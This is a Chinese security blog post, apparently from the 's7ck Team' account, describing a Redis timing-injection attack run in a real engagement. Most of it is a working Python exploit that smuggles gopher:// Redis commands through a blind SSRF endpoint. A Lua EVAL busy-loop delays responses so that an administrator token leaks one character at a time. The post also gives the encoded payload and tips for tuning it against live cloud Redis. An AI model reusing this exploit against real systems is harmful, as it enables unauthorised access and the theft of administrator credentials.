实战环境中的Redis延时注入 原创 狗一样的男人[url=]s7ck Team[/url] 实战环境中 Redis 延时注入由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!本文由s7ck Team团队原创,如转载情注明来源。
本实验环境:
SSRF 不回显
Redis rdp 且 知晓密码 // 云 (基本无rce可能)
代码漏洞点
thinkphp 框架 controller 本文并不做过多解释
延时
# redis 延时命令
eval 'local value = redis.call("KEYS", (tostring(ARGV[1])));
if string.match(value[1]:sub({}, {}), "{}")
then local a=1 while( a < 50000000 ) do a = a+1 end else return 0 end' 0 "admin_token*"
redis 支持执行 lua 脚本
但是在lua sleep 函数中 需要 引入三方包
但是在redis 中做了沙盒限制 所以直接使用for循环达到 延时的作用
基础利用脚本
from urllib.parse import quote
import requests
import time
# HOST = "127.0.0.1"
# PORT = "6379"
def ord2hex(string):
return '%'+'%02x' % (ord(string))
def urlencode(data):
data = ''.join([ord2hex(i) for i in data])
return data
# print("gopher://10.211.55.14:6379/_" + exp)
def returngopherdata(num,aa):
# data = '''eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 50000000 ) do a = a+1 end else return 0 end' 0 "admin_token_*"\r\nquit'''.format(str(num),str(num),aa)
num = urlencode(str(num))
aa = urlencode(aa)
data = "%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a".format(num,num,aa)
data = quote(data)
data = "gopher://10.211.55.14:6379/_" + data
return data
def returnpostdata(gopherdata):
url = "http://10.211.55.14/api/curl"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
data = '''url={}'''.format(gopherdata)
starttime = int(time.time())
r = requests.post(url,data=data,headers=headers,proxies=proxies)
endtime = int(time.time())
needtime = endtime - starttime
# print("time : " + str(needtime))
return needtime
def main():
strings = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
# admin_token_ts5q9s3hpe5h5fq6pl6776c9tb
results = ""
for i in range(13,50):
print("now : " + str(i))
for aa in strings:
gopherdata = returngopherdata(i,aa)
needtime = returnpostdata(gopherdata)
if needtime > 5:
results = results + aa
print(results)
break
# exit()
print("Wait: 5s")
time.sleep(5)
print(results)
return results
if "__main__" == __name__:
main()
Redis 协议
redis协议 生成gopher 网上公开的脚本经测试 无法使用 只能自己写
%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a
经url解码后
*2
$6
select
$1
9
*4
$4
eval
$217
local value = redis.call("KEYS", (ARGV[1])); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 400000000 ) do a = a+1 end else return 0 end
$1
0
$13
admin_token_*
*1
$4
quit
redis 协议 *
*2
代表有两个arg
例如
select 6
这是两个参数
redis 协议 $
$6
代表下面字符有6个
例如
select
利用
假设 redis 中存在admin_token_asdadasadadad
脚本利用截图
admin_token_asdadasadadad
asdadasadadad
对比情况相同 成功得到管理员token
Tips
现实情况中要考虑网络延迟情况 与 对方服务器情况
并且这个脚本并默认只跑 key 符合 admin_token_* 的第一条内容 如果在脚本运行期间 有新token 加入 则会造成 token 错误的情况 后续需要将payload 更改
每次跑出一位后
例如第一位为a 那么第二次的paylaod 应该为 admin_token_a* 这样就算 脚本运行期间有新的token加入 也不会影响我们得到的token正常使用
每次延时时间要根据对方服务器判断 想靶场环境的话 400000000 大概在三秒左右 如果用线上环境 rds 一类的话 可能只有一秒不到的延时 所以要适量增加 for 循环次数
直接 eval 'local a=1 while( a < 50000000 ) do a = a+1 end' 0 查看回显时间
|